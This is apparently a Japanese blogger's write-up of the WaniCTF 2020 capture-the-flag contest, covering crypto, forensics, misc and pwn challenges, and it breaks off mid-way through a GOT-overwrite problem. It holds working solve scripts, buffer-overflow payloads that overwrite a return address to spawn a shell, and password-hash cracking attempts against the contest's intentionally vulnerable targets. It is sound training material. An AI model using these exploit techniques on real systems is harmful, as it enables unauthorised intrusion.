11月21-23日の三連休で開催されていた、WaniCTF 2020に参加しました。
大阪大学のCTFサークル Wani Hackaseが開催されていると開始日にtwitterで知って覗きに行ったところ、初級者問題から用意してあるということで面白そう!と参加してみました。
結果は 2343pt 36位。
WebとMiscは全完で、あとはぼちぼち。
解けた問題だけwriteup書きます。
(たくさんwirteupありそうだけど、writeup書きながら解いているので載せちゃう)
- [Crypto] Veni, vidi [Beginner]
- [Crypto] exclusive [Easy]
- [Crypto] Basic RSA [Normal]
- [Crypto] LCG crack [Hard]
- [Forensics] logged_flag [Beginner]
- [Forensics] chunk_eater [Normal]
- [Forensics] ALLIGATOR_01 [Easy]
- [Forensics] ALLIGATOR_02 [Normal]
- [Misc] Find a Number [Beginner]
- [Misc] MQTT Challenge [Normal]
- [Pwn] netcat [Beginner]
- [Pwn] var rewrite [Beginner]
- [Pwn] binsh address [Easy]
- [Pwn] ret rewrite [Normal]
- [Pwn] got rewriter [Easy]
- [Reversing] strings [Beginner]
- [Reversing] simple [Normal]
- [Web] DevTools_1 [Beginner]
- [Web] DevTools_2 [Easy]
- [Web] Simple Memo [Beginner]
- [Web] striped table [Easy]
- [Web] SQL Challenge 1 [Normal]
- [Web] SQL Challenge 2 [Hard]
- 感想など
[Crypto] Veni, vidi [Beginner]
SYNT{fvzcyr_pynffvpny_pvcure}
Writer : Laika
flag formatが FLAG{
であるので、
S -> F Y -> L N -> A T -> G
と変換されるはず。すべてalphabet順で13文字ずつずれているのでROT13。
flag: FLAG{simple_classical_cipher}
[Crypto] exclusive [Easy]
XORを使った暗号です🔐
Writer : Laika
encrypt.py
とoutput.txt
が配布されます。
key = "REDACTED" flag = "FAKE{this_is_fake_flag}" assert len(key) == len(flag) == 57 assert flag.startswith("FLAG{") and flag.endswith("}") assert key[0:3] * 19 == key def encrypt(s1, s2): assert len(s1) == len(s2) result = "" for c1, c2 in zip(s1, s2): result += chr(ord(c1) ^ ord(c2)) return result ciphertext = encrypt(flag, key) print(ciphertext, end="")
9;.0"s3)q1+046-,&3#u-'vr*,s6,1."(,t$:775# *c>
コード中の
assert key[0:3] * 19 == key
より、keyは3文字の繰り返しだということがわかります。
また、他のassert文から、flagはFLAG{
から始まるよ、ということが強調されています。
cipherの作成は flag xor key
を1文字ずつ実施したものになっていますが、今cipherしか手元になく、keyはありません。
が、上記の条件よりkeyを推測できそうなので、flagが求まりそう。
import string candidates = string.ascii_letters with open('output.txt','r') as f: cipher = f.read() prefix = 'FLAG{' key = '' for i in range(3): for c in candidates: if ord(cipher[i]) ^ ord(c) == ord(prefix[i]): key += c break print('key[0:3] = ' + key) flag = '' key = key*19 for i in range(len(key)): flag += chr(ord(cipher[i]) ^ ord(key[i])) print(flag)
実行結果
$ python solve.py key[0:3] = ABC FLAG{xor_c1ph3r_is_vulnera6le_70_kn0wn_plain7ext_@ttack!}
[Crypto] Basic RSA [Normal]
RSA暗号の基本的な演算ができますか?
nc rsa.wanictf.org 50000
Writer : Laika
配布物はなし。指定のホストに接続してみます。
$ nc rsa.wanictf.org 50000 :::::::.. .::::::. :::. ;;;;``;;;; ;;;` ` ;;`;; [[[,/[[[' '[==/[[[[, ,[[ '[[, $$$$$$c ''' $c$$$cc$$$c 888b "88bo,88b dP 888 888, MMMM "W" "YMmMY" YMM ""` +================================+ | Given : p, q (512-bit integer) | | Find : n = p*q | +================================+ p = 11664029376469547316514618962713345900897332099662170512856413650005352292292444321667343442817736645329072133463927552521462656518574625422909763598643921 q = 2014026340217980091829644910200546779091847051189853386855664224533293806444297218105571612739833360023841305006694063533858901553823723111647324315099723 [n?] >
ふぁー!かっこいい!解き方も書いてあるし!
全部で3問、基礎的なRSAの計算式に関する問題でした。
下記は最終的に問題を解くために使用したコード。
import gmpy2 from Crypto.Util.number import inverse """ +================================+ | Given : p, q (512-bit integer) | | Find : n = p*q | +================================+ """ def q1(): p = 11664029376469547316514618962713345900897332099662170512856413650005352292292444321667343442817736645329072133463927552521462656518574625422909763598643921 q = 2014026340217980091829644910200546779091847051189853386855664224533293806444297218105571612739833360023841305006694063533858901553823723111647324315099723 return p*q """ +=======================================+ | Given : m ) Message | | e ) Public exponent | | n ) p*q (p, q 512-bit prime) | | Find : c = m**e (mod n) | +=======================================+ """ def q2(): m = 108390115652198913759954234015464203036 e = 65537 n = 86924220668388155337668425347048963032752741139221623831977697846529741862821947522326290451023535939758314002818730923709842046367172005602254780365810399895530638268781644992896640336824457079462400891438464279827448176417292496551712776177770324463326190856569725619206715957741211747672346819690136171977 c = pow(m,e,n) return c """ +=====================================+ | Given : p, q ) 512-bit primes | | e ) Public exponent | | c ) Encrypted message | | = m**e (mod p*q) | | Find : m ) Message | +=====================================+ """ def q3(): p = 9757937611935752124280059670772050267809036141396461384620241963252779298770026129849703045539203108994410210934135909488260169520469808077470338645412133 q = 13161928049815797780497472073427072630302027839644124426623530807261653809137874796147959867211373996709825439881638794817216735868023019250756662592126779 e = 65537 c = 92908399133267695854076203971624531622558873404788299653643006961677429795196706469288507494464145746176106602727269241370850063187685116616434204142706980555426616999386843231330772663035505320372832973130904493394385544264378082376642309935511643359733259797997776436510636196894134033753698365683800079947 n = p*q d = inverse(e, (p-1)*(q-1)) m = pow(c, d, n) return m print('q1: ' + str(q1())) print('q2: ' + str(q2())) print('q3: ' + str(q3()))
[Crypto] LCG crack [Hard]
安全な暗号は安全な乱数から
nc lcg.wanictf.org 50001
Writer : Laika
server.py
が配布されます。
import random import os from Crypto.Util.number import * from const import flag, logo, description, menu class RNG: def __init__(self, seed, a, b, m): self.a = a self.b = b self.m = m self.x = seed % m def next(self): self.x = (self.a * self.x + self.b) % self.m return self.x def show_menu(): print(menu) log(description) while not (choice := input("> ")) in "123": print("Invalid choice.") return int(choice) if __name__ == "__main__": print(logo) seed = random.getrandbits(64) a = random.getrandbits(64) b = random.getrandbits(64) m = getPrime(64, os.urandom) rng = RNG(seed, a, b, m) while True: choice = show_menu() # Print if choice == 1: print(rng.next()) # Guess elif choice == 2: for cnt in range(1, 11): print(f"[{cnt}/10] Guess the next number!") try: guess = int(input("> ")) except ValueError: print("Please enter an integer\n\n\n") continue if guess == rng.next(): print(f"Correct! ") cnt += 1 else: print(f"Wrong... Try again!") break else: print(f"Congratz! {flag}") break # Exit else: print("Bye :)") break
タイトルの通り、線形合同法(LGC)で乱数を生成し、メニューの1を選べば次の乱数を教えてくれ、2を選ぶと次の乱数を当てるモードになる。10回連続で当たればFlagゲット。
LGCについては下記の記事を参考にさせていただいた。
線形合同法のパラメータを乱数列から求めてみる。 - みつのCTF精進記録
LGCについてだけ知ろうと思って読んだんだけど、なんと全部の変数が不明なときの解き方も解説されていた&プログラムも公開されていたので、全面的に使わせていただいた。
# Quoted from the following article. # https://mitsu-mitsu.hatenablog.com/entry/2019/03/11/210128 import sys from functools import reduce import math class RNG: def __init__(self, seed, a, b, m): self.a = a self.b = b self.m = m self.x = seed % m def next(self): self.x = (self.a * self.x + self.b) % self.m return self.x def egcd(a, b): if a == 0: return (b, 0, 1) g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y) def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception("No modinv") return x % m if __name__ == "__main__": # inputs x = [] buf = input("number1 > ") x.append(int(buf)) buf = input("number2 > ") x.append(int(buf)) buf = input("number3 > ") x.append(int(buf)) buf = input("number4 > ") x.append(int(buf)) buf = input("number5 > ") x.append(int(buf)) buf = input("number6 > ") x.append(int(buf)) # solve M T = [] for x0, x1 in zip(x, x[1:]): T.append(x1 - x0) zeros = [] for t0, t1, t2 in zip(T, T[1:], T[2:]): zeros.append(t2 * t0 - t1 * t1) M = abs(reduce(math.gcd, zeros)) # solve a, c if x[0] == x[1]: a = 0 c = x[0] else: a = (x[2] - x[1]) * modinv(x[1] - x[0], M) % M c = (x[2] - a * x[1]) % M # answer print("a = {}".format(a)) print("c = {}".format(c)) print("M = {}".format(M)) # print next print('-------------') rng = RNG(x[0],a,c,M) for i in range(16): print(rng.next())
ヨシ。かけた。
後は問題サイトに接続して
$ nc lcg.wanictf.org 50001 ::: .,-::::: .,-:::::/ ;;; ,;;;'````',;;-'````' [[[ [[[ [[[ [[[[[[/ $$' $$$ "$$c. "$$ o88oo,.__`88bo,__,o,`Y8bo,,,o88o """"YUMMM "YUMMMMMP" `'YMUP"YMM +=============================+ | 1. Generate the next number | | 2. Guess the next number | | 3. Exit | +=============================+ - Guess the numbers in a row, and I'll give you a flag!
かっこいい!
まずは6個乱数を表示してもらいます。
> 1 968063576665623207 (割愛しつつ) 6942213208454254108 6037900159698811305 7961697449679955748 10524687381943825335 5795376154186897855
これを、手元のプログラムの標準入力に入れていきます。
$ python solve.py number1 > 968063576665623207 number2 > 6942213208454254108 number3 > 6037900159698811305 number4 > 7961697449679955748 number5 > 10524687381943825335 number6 > 5795376154186897855 a = 6647176948592859669 c = 8016427433234485500 M = 13209807852157259417 ------------- 6942213208454254108 6037900159698811305 7961697449679955748 10524687381943825335 5795376154186897855 11120383654672342960 8367448246808494385 5512569902711231937 10638127537021322371 2796180353799178532 592327160523121706 12637640723605439054 3678214294212629466 11923041937919337371 10430737440177842419 8913604321412970197
あとは出力された乱数の列を続きから入力していくのみ!
> 2 - [1/10] Guess the next number! > 11120383654672342960 - Correct! - [2/10] Guess the next number! > 8367448246808494385 - Correct! - [3/10] Guess the next number! > 5512569902711231937 - Correct! - [4/10] Guess the next number! > 10638127537021322371 - Correct! - [5/10] Guess the next number! > 2796180353799178532 - Correct! - [6/10] Guess the next number! > 592327160523121706 - Correct! - [7/10] Guess the next number! > 12637640723605439054 - Correct! - [8/10] Guess the next number! > 3678214294212629466 - Correct! - [9/10] Guess the next number! > 11923041937919337371 - Correct! - [10/10] Guess the next number! > 10430737440177842419 - Correct! Congratz! FLAG{y0u_sh0uld_buy_l0tt3ry_t1ck3ts}
[Forensics] logged_flag [Beginner]
ワニ博士が問題を作っていたので、作っているところをキーロガーで勝手に記録してみました。
先に公開してしまいたいと思います。
Writer : takushooo
key_log.txt
とsecret.jpg
が配布されます。
******************************************** コンピュータ名 :WANIWANI ユーザ名 :ALLIGATOR ******************************************** 11:49:57 [M] 11:49:57 [K] 11:49:57 [D] 11:49:57 [I] 11:49:58 [R] 11:49:58 [Space] 11:49:58 [S] ... (略) ********************************************
めちゃめちゃ親切なkeyloggerなので、そのまま読んだ。
mkdir steghide cp original.jpg ./steghide cd steghide echo FLAG{k3y_l0gg3r_1s_v3ry_d4ng3r0us} ...
まだ続いてたしワニの絵を使ってないけどFLAGが出たのでOK
[Forensics] chunk_eater [Normal]
pngの必須チャンクをワニ博士が食べてしまいました!
PNGファイルフォーマット
Writer : takushooo
png復元問題っぽい。eaten.png
が配布されます。
バイナリエディタで対象ファイルを開きながら、pngcheck
で破損箇所を確認していくと、チャンクの名前がWANI
に置き換わっていてチャーミング&わかりやすかった。
picoCTF 2019 の c0rrupt と同じような感じで、pngcheck
で破損箇所と修復があっていたかを確認しつつ、バイナリエディタで修正して行く感じ。
修正箇所:
- 1個目のWANI -> IHDR
- 2個目のWANI -> IDAT
- 3個目のWANI -> IDAT
- 4個目のWANI -> IDAT
- 最後のWANI -> IEND
結果的に、必須の構造体のチャンク名が食べられていただけだった。最初の方は標準チャンクも全部試したりしてみたので、えらい時間がかかった。なんとよく読み返してみたら「必須チャンクが食べられている」と問題文に書いてあった…orz
[Forensics] ALLIGATOR_01 [Easy]
ワニ博士のPCでは,悪意のあるプロセスが実行されているみたいです。
取得したメモリダンプから、”evil.exe”が実行された日時を報告してください。
(注意: スペースはすべて半角のアンダースコアにしてください)
example: FLAG{1234-56-78_99:99:99_UTC+0000}
問題ファイル: ALLIGATOR.zip (ミラー: ALLIGATOR.zip)
推奨ツール: volatility
Writer : takushooo
ALLIGATOR.zip
ファイルが配布されます。
exe問題なのであまりやる気がなかったのですが、Easy問題ならなwindows環境なくてもイケるかなーと思って…。
どうやら問題文中に紹介されている volatility は、ubuntuでもmacでも使えるようだ。調べてみるとkali linuxには標準で入ってるっぽい。
こんな感じで基本コマンドが動かせる。
$ volatility -f ALLIGATOR.raw imageinfo Volatility Foundation Volatility Framework 2.6 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86 AS Layer1 : IA32PagedMemoryPae (Kernel AS) AS Layer2 : FileAddressSpace (/root/ctf/wani2020/ALLIGATOR.raw) PAE type : PAE DTB : 0x185000L KDBG : 0x82754de8L Number of Processors : 1 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0x80b96000L KUSER_SHARED_DATA : 0xffdf0000L Image date and time : 2020-10-26 03:04:49 UTC+0000 Image local date and time : 2020-10-25 20:04:49 -0700
これ以降の解析をするときに
Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86
の部分が重要っぽい。メモリの解析をここを飛ばしてしようとするとmappingがわからん!
と怒られた。
$ volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 pstree | grep 'evil.exe' Volatility Foundation Volatility Framework 2.6 . 0x84dd6b28:evil.exe 3632 2964 1 21 2020-10-26 03:01:55 UTC+0000
🙌
ということで、フォーマットを合わせて
flag: FLAG{2020-10-26_03:01:55_UTC+0000}
[Forensics] ALLIGATOR_02 [Normal]
コマンドプロンプトの実行履歴からFLAGを見つけてください。
(ALLIGATOR_01で配布されているファイルを使ってください)
Writer : takushooo
これ、ALLIGATOR問題で最初に解けた。想定解ではない。けどexeファイルアレルギー(win環境無い)なので、なんとか超シンプル解析でflagを見つけようとした結果。しょうがない。
01で配布された ALLIGATOR.raw
に対して strings
コマンドを打つと出てきた。
$ strings ALLIGATOR.raw | grep FLAG{ FLAG{y0u_4re FLAG{y0u_4re_c0n50les_master} FLAG{y0u_4re_c0n50les_master} FLAG{y0u_4re_c0n50les_master} FLAG{y0u_4re_c0n50les_master}
👍
(その後 ALLIGATOR_03
に取り組んでガチャガチャやっているうちにvolatilityを使った想定解っぽいのを見つけたので載せておく。Flagのコメントとも一致してる。)
volatility には色んなプラグインが用意されており、そのうちの一つ
consoles
: Extract command history by scanning for _CONSOLE_INFORMATION
を実行すればコマンドの履歴が取れる。
$ volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 consoles Volatility Foundation Volatility Framework 2.6 ************************************************** ConsoleProcess: conhost.exe Pid: 336 Console: 0x4f81c0 CommandHistorySize: 50 HistoryBufferCount: 2 HistoryBufferMax: 4 OriginalTitle: C:\Program Files\OpenSSH\bin\cygrunsrv.exe Title: C:\Program Files\OpenSSH\bin\cygrunsrv.exe AttachedProcess: sshd.exe Pid: 856 Handle: 0x54 ---- CommandHistory: 0xb0960 Application: sshd.exe Flags: Allocated CommandCount: 0 LastAdded: -1 LastDisplayed: -1 FirstCommand: 0 CommandCountMax: 50 ProcessHandle: 0x54 ---- CommandHistory: 0xb07f0 Application: cygrunsrv.exe Flags: CommandCount: 0 LastAdded: -1 LastDisplayed: -1 FirstCommand: 0 CommandCountMax: 50 ProcessHandle: 0x0 ---- Screen 0xc6098 X:80 Y:300 Dump: ************************************************** ConsoleProcess: conhost.exe Pid: 3736 Console: 0x4f81c0 CommandHistorySize: 50 HistoryBufferCount: 1 HistoryBufferMax: 4 OriginalTitle: %SystemRoot%\system32\cmd.exe Title: Administrator: C:\Windows\system32\cmd.exe AttachedProcess: cmd.exe Pid: 3728 Handle: 0x5c ---- CommandHistory: 0x350440 Application: cmd.exe Flags: Allocated, Reset CommandCount: 1 LastAdded: 0 LastDisplayed: 0 FirstCommand: 0 CommandCountMax: 50 ProcessHandle: 0x5c Cmd #0 at 0x3546d8: type C:\Users\ALLIGATOR\Desktop\flag.txt ---- Screen 0x3363b8 X:80 Y:300 Dump: Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\ALLIGATOR>type C:\Users\ALLIGATOR\Desktop\flag.txt FLAG{y0u_4re_c0n50les_master} C:\Users\ALLIGATOR>
出た!
ちなみに 03 は、
hashdump
でALLIGATOR
のパスワードハッシュを取得、それを- オンライン解析に投げてる
- john the ripperでNTLM形式で解析
lsadump
で出てきた下記のパスワードを試したり- Passw0rd!
- D@rj33l1ng
したけど解けなかった…。
[Misc] Find a Number [Beginner]
隠された数字を当てるとフラグが表示されます.
数字は0以上500000以下であることが保証されています.
nc number.wanictf.org 60000
Writer : kawamoto
number.py
が配布されます。
import random flag = b"FAKE{this_is_a_fake_flag}" def main(): number = random.randint(0, 500000) print("find a number") for i in range(20): print("challenge", i) client_challenge = int(input("input:")) if client_challenge == number: print("correct!!!") print(flag) exit() elif client_challenge < number: print("too small") print("try again!") else: print("too big") print("try again!") print("You've failed too many times") if __name__ == "__main__": main()
ランダム値推測系の問題かと思ったけど、最初に作られた number
は正解するか20解連続間違えるまで変わらない & 自分の入力が大きかったか小さかったかを返してくれるので、普通の二分探索でいけそう。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = "number.wanictf.org" port = 60000 min = 0 max = 500000 r = remote(host, port) while True: print(min,max) r.recvuntil(b'input:') r.sendline(str((min+max)//2).encode()) res = r.recvline() if res == b'too small\n': min = (min+max)//2 elif res == b'too big\n': max = (min+max)//2 elif res == b'correct!!!\n': print(r.recvline()) exit(0)
実行結果
$ python solve.py [+] Opening connection to number.wanictf.org on port 60000: Done 0 500000 0 250000 125000 250000 187500 250000 187500 218750 203125 218750 210937 218750 214843 218750 216796 218750 216796 217773 216796 217284 216796 217040 216918 217040 216918 216979 216918 216948 216933 216948 b'FLAG{b1n@ry_5e@rch_1s_v3ry_f@5t}\n'
[Misc] MQTT Challenge [Normal]
問題ページ: https://mqtt.wanictf.org
噂の軽量プロトコル「MQTT」をテストするページを作ったよ。どこかに秘密のトピックがあるから探してみてね。
(Hint)
今回の問題ページではあらかじめ「nkt/test」というトピックをサブスクライブしており、他にも「nkt/hoge」「nkt/huga」などのトピックに対してパブリッシュが行われています。
別のトピックを入力して「Subscribe」ボタンを押すとそのトピックをサブスクライブできるので、どうにかしてFLAGを配信しているトピックを見つけてください。
(注意)
データが送信されてくる間隔は約一分程度になっているので、新たにトピックをサブスクライブした際などは少し様子を見てみてください。
まれにコネクションが切れる場合があるので、様子がおかしいときはリロードしてください。
Writer : nkt
あーこれは!MQTT問題!ちょうど仕事で扱い始めた領域!
指定のサイトを訪問すると、subscribeしたいトピックを登録できるみたい。
これは自分のマシンにMQTT通信用の環境とかいらないタイプのやつ!いけそう!
で、なんとかflagを配信しているtopicをsubscribeできればflagが降ってくる。
試しに他の例に習ってnkt/flag
をsubscribeしたら、FAKEのflagが降ってきた。
topic名をguessingするのは想定解ではなさそうなので、おぼろげな知識で #
(MQTTのpathのワイルドカード的な扱い)を入れてみると、全部降ってきた🙌
なんと業務でやったことがCTFに生きるという珍しいパターン!嬉しい!!!
ちょうど「関連のないtopicをsubscribeできてしまう」という穴が起こらないように対策しないとね、と言っていたところなのでした。
このtopic path、好き…♡
topic:top/secret/himitu/daiji/mitara/dame/zettai/flag
[Pwn] netcat [Beginner]
nc netcat.wanictf.org 9001
netcat (nc)と呼ばれるコマンドを使うだけです。
つないだら何も表示されなくても知っているコマンドを打ってみましょう。
使用ツール例 netcat (nc) gccのセキュリティ保護 Full RELocation ReadOnly (RELRO) Stack Smash Protection (SSP)有効 No eXecute bit(NX)有効 Position Independent Executable (PIE)有効
Writer : saru
pwn01.c
とpwn01
が配布されます。
#include <stdio.h> #include <unistd.h> #include <stdlib.h> void init(); void win() { puts("congratulation!"); system("/bin/sh"); exit(0); } int main() { init(); win(); } void init() { alarm(30); setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); }
win関数を呼びだして、shellを起動してくれるので、flagを探して彷徨えば良いっぽい。
$ nc netcat.wanictf.org 9001 congratulation! ls chall flag.txt redir.sh cat flag.txt FLAG{netcat-1s-sw1ss-4rmy-kn1fe}
Pwn問でshellを取れたあとの基本だ。
[Pwn] var rewrite [Beginner]
nc var.wanictf.org 9002
stackの仕組みを理解する必要があります。
ローカル変数はstackに積まれます。
ローカル変数を書き換えて下さい。
使用ツール例 netcat (nc) gccのセキュリティ保護 Full RELocation ReadOnly (RELRO) Stack Smash Protection (SSP)有効 No eXecute bit(NX)有効 Position Independent Executable (PIE)有効
Writer : saru
pwn02.c
とpwn02
が配布されます。
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> void init(); void debug_stack_dump(unsigned long rsp, unsigned long rbp); char str_head[] = "hello "; char str_tail[] = "!\n"; void win() { puts("Congratulation!"); system("/bin/sh"); exit(0); } void vuln() { char target[] = "HACKASE"; char name[10]; char *p; int ret; printf("What's your name?: "); ret = read(0, name, 0x100); name[ret - 1] = 0; write(0, str_head, strlen(str_head)); write(0, name, strlen(name)); write(0, str_tail, strlen(str_tail)); if (strncmp(target, "WANI", 4) == 0) { win(); } else { printf("target = %s\n", target); } { //for learning stack register unsigned long rsp asm("rsp"); register unsigned long rbp asm("rbp"); debug_stack_dump(rsp, rbp); } } int main() { init(); while (1) { vuln(); } } void init() { alarm(30); setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); } void debug_stack_dump(unsigned long rsp, unsigned long rbp) { unsigned long i; printf("\n***start stack dump***\n"); i = rsp; while (i <= rbp + 8) { unsigned long *p; p = (unsigned long *)i; printf("0x%lx: 0x%016lx", i, *p); if (i == rsp) { printf(" <- rsp"); } else if (i == rbp) { printf(" <- rbp"); } else if (i == rbp + 8) { printf(" <- return address"); } printf("\n"); i += 8; } printf("***end stack dump***\n\n"); }
結構長い。win関数を呼び出せば勝ちっぽい。
target
変数にHAKASE
が入ってるので、これをWANI
に書き換えればオッケー。
targetのあとに定義されているname[10]
をこちらから入れることができるので、バッファ・オーバーフローさせてWANI
をtargetに入れてあげれば良さそう。
$ nc var.wanictf.org 9002 What's your name?: AAAAAAAAAAWANI hello AAAAAAAAAAWANI! Congratulation! ls chall flag.txt redir.sh cat flag.txt FLAG{1ets-1earn-stack-w1th-b0f-var1ab1e-rewr1te}
[Pwn] binsh address [Easy]
nc binsh.wanictf.org 9003
文字列はメモリのどこかに配置されています。
strings -tx ./pwn03 | less
(ツールのヒントは前と同じなので割愛)
Writer : saru
pwn03.c
とpwn03
が配布されます。
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> char str_head[] = "Please input \""; char binsh[] = "/bin/sh"; char str_tail[] = "\" address as a hex number: "; void init(); void vuln() { char name[0x20]; unsigned long int val; char *p; int ret; write(0, str_head, strlen(str_head)); write(0, binsh, strlen(binsh)); write(0, str_tail, strlen(str_tail)); ret = read(0, name, 0x20); name[ret - 1] = 0; val = strtol(name, NULL, 16); printf("Your input address is 0x%lx.\n", val); p = (char *) val; if(p == binsh){ puts("Congratulation!"); system(p); exit(0); }else{ puts("You are wrong.\n\n"); } } int main() { init(); printf("The address of \"input \" is 0x%lx.\n", (unsigned long int) str_head); while (1) { vuln(); } } void init() { alarm(30); setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); }
char binsh[] = "/bin/sh";
のアドレスを入力できればOK。
問題文にあった通りのコマンドで、それぞれの変数のアドレスを覗いてみます。
$ strings -tx ./pwn03 | grep 'Please input' 2010 Please input " $ strings -tx ./pwn03 | grep 'bin' 2020 /bin/sh 2a0c binsh
何らかのセキュリティ対策が施されているため(詳細は実行ファイルのセキュリティ機構をやってみればわかるはず)、サーバーの実行ファイルのアドレスは、接続のたびに変わっているようです。
最初にstr_head
のアドレスを親切にも教えてくれるので、ここから見たbinsh
の相対的なアドレス(+0x10
)を入力してあげればOK。
$ nc binsh.wanictf.org 9003 The address of "input " is 0x5618b260b010. Please input "/bin/sh" address as a hex number: 0x5618B260B020 Your input address is 0x5618b260b020. Congratulation! ls chall flag.txt redir.sh cat flag.txt FLAG{cAn-f1nd-str1ng-us1ng-str1ngs}
୧(๑>▽<๑)૭
[Pwn] ret rewrite [Normal]
nc ret.wanictf.org 9005
stackの仕組みを学びましょう。
関数の戻りアドレスはstackに積まれます。
"congraturation"が出力されてもスタックのアライメントの問題でwin関数のアドレスから少しずらす必要がある場合があります。
(echo -e "\x11\x11\x11\x11\x11\x11"; cat) | nc ret.wanictf.org 9005
念のためpwntoolsのサンプルプログラム「pwn05_sample.py」を載せておきました。
Writer : saru
pwn05
, pwn05.c
, pwn05_sample.py
が配布されます。
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> char str_head[] = "Hello "; char str_tail[] = "!\n"; void init(); void debug_stack_dump(unsigned long rsp, unsigned long rbp); void win() { puts("congratulation!"); system("/bin/sh"); exit(0); } void vuln() { char name[10]; int ret; printf("What's your name?: "); ret = read(0, name, 0x100); name[ret - 1] = 0; write(0, str_head, strlen(str_head)); write(0, name, strlen(name)); write(0, str_tail, strlen(str_tail)); { //for learning stack register unsigned long rsp asm("rsp"); register unsigned long rbp asm("rbp"); debug_stack_dump(rsp, rbp); } } int main() { init(); while (1) { vuln(); } } void init() { alarm(30); setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); } void debug_stack_dump(unsigned long rsp, unsigned long rbp) { unsigned long i; printf("\n***start stack dump***\n"); i = rsp; while (i <= rbp + 32) { unsigned long *p; p = (unsigned long *)i; printf("0x%lx: 0x%016lx", i, *p); if (i == rsp) { printf(" <- rsp"); } else if (i == rbp) { printf(" <- rbp"); } else if (i == rbp + 8) { printf(" <- return address"); } printf("\n"); i += 8; } printf("***end stack dump***\n\n"); }
win
関数を呼び出せればshellを取れるが、プログラム上ではwin
関数は呼ばれていない。問題文の通り、return addressをwin関数に書き換える必要がある。
試しに、問題文にあったヒントをそのまま実行してみる。
$ (echo -e "\x11\x11\x11\x11\x11\x11"; cat) | nc ret.wanictf.org 9005 What's your name?: Hello ! ***start stack dump*** 0x7fff228338c0: 0x11111111111139c0 <- rsp 0x7fff228338c8: 0x0000000700400900 0x7fff228338d0: 0x00007fff228338e0 <- rbp 0x7fff228338d8: 0x0000000000400928 <- return address 0x7fff228338e0: 0x0000000000400a50 0x7fff228338e8: 0x00007fee5c537bf7 0x7fff228338f0: 0x0000000000000001 ***end stack dump*** What's your name?:
rsp
に 入力値がかかれている。
このままreturn address
まで埋めてあげれば良さそう。
picoの過去問にも同じタイプが出ていたのでそのとき書いたwriteupを参考に。
- bufferは
stack dump
の結果より、8byte×3行(8*3=24)を目安に始めて、stack dump
の結果を見ながら手動で適当に調節した - 問題文にもあったとおり、アライメントを合わせる必要があったので、末尾の
\x37
を\x38
に変更した- これについては上記のwriteupで軽く解説したはず
えくすぷろいと。
$ (echo -e "aaaaaaaaaaaaaaaaaaaaaa\x38\x08\x40\x00\x00\x00\x00\x00"; cat) | nc ret.wanictf.org 9005 What's your name?: Hello aaaaaaaaaa! ***start stack dump*** 0x7ffe9db5c810: 0x616161616161c910 <- rsp 0x7ffe9db5c818: 0x0000001f61616161 0x7ffe9db5c820: 0x6161616161616161 <- rbp 0x7ffe9db5c828: 0x0000000000400838 <- return address 0x7ffe9db5c830: 0x0000000000400a00 0x7ffe9db5c838: 0x00007f0fad7b1bf7 0x7ffe9db5c840: 0x0000000000000001 ***end stack dump*** congratulation! ls chall flag.txt redir.sh cat flag.txt FLAG{1earning-how-return-address-w0rks-on-st4ck}
[Pwn] got rewriter [Easy]
nc got.wanictf.org 9004
global offset table (GOT)の仕組みを理解する必要があります。
objdump -d -M intel ./pwn04 | less
Writer : saru
pwn04
, pwn04.c
が配布されます。
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> void init(); void win() { puts("congratulation!"); system("/bin/sh"); exit(0); } void vuln() { char str_val[0x20]; unsigned long int val; unsigned long int *p; int ret; printf("Please input target address (0x600e10-0x6010b0): "); ret = read(0, str_val, 0x20); str_val[ret - 1] = 0; val = strtol(str_val, NULL, 16); printf("Your input address is 0x%lx.\n", val); if (val < 0x600e10 || val > 0x6010b0) { printf("you can't rewrite 0x%lx!\n", val); return; } p = (unsigned long int *)val; printf("Please input rewrite value: "); ret = read(0, str_val, 0x20); str_val[ret - 1] = 0; val = strtol(str_val, NULL, 16); printf("Your input rewrite value is 0x%lx.\n\n", val); printf("*0x%lx <- 0x%lx.\n\n\n", (unsigned long int)p, val); *p = val; } int main() { init(); puts("Welcome to GOT rewriter!!!"); printf("win = 0x%lx\n", (unsigned long int)win); while (1) { vuln(); } } void init() { alarm(30); setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); }
この問題もwin
関数を呼び出せば勝ち、プログラムからは呼ばれないので問題文の通りgot overwrite
で他のプログラム上callされるシステム関数の飛ばし先をwin
のアドレスに書き換えてあげる。
なんと無理やりどこかの脆弱性をついて書き換えたりしなくてもプログラム中で指定したアドレスに書き換えてくれるらしい。なんと親切な。今回はprintf
を書き換えてみよう。
ヒントで与えられたコマンドを実行して、win
とprintf
のアドレスを調べます。
$ objdump -d -M intel ./pwn04 | grep win 0000000000400807 <win>: 4009a6: 48 8d 05 5a fe ff ff lea rax,[rip+0xfffffffffffffe5a] # 400807 <win> $ objdump -d -M intel ./pwn04 | grep printf 00000000004006d0 <printf@plt>: 4006d0: ff 25 62 09 20 00 jmp QWORD PTR [rip+0x200962] # 601038 <printf@GLIBC_2.2.5> 400850: e8 7b fe ff ff call 4006d0 <printf@plt> 4008a8: e8 23 fe ff ff call 4006d0 <printf@plt> 4008d4: e8 f7 fd ff ff call 4006d0 <printf@plt> 4008f2: e8 d9 fd ff ff call 4006d0 <printf@plt> 40094a: e8 81 fd ff ff call 4006d0 <printf@plt> 400966: e8 65 fd ff ff call 4006d0 <printf@plt> 4009bc: e8 0f fd ff ff call 4006d0 <printf@plt>
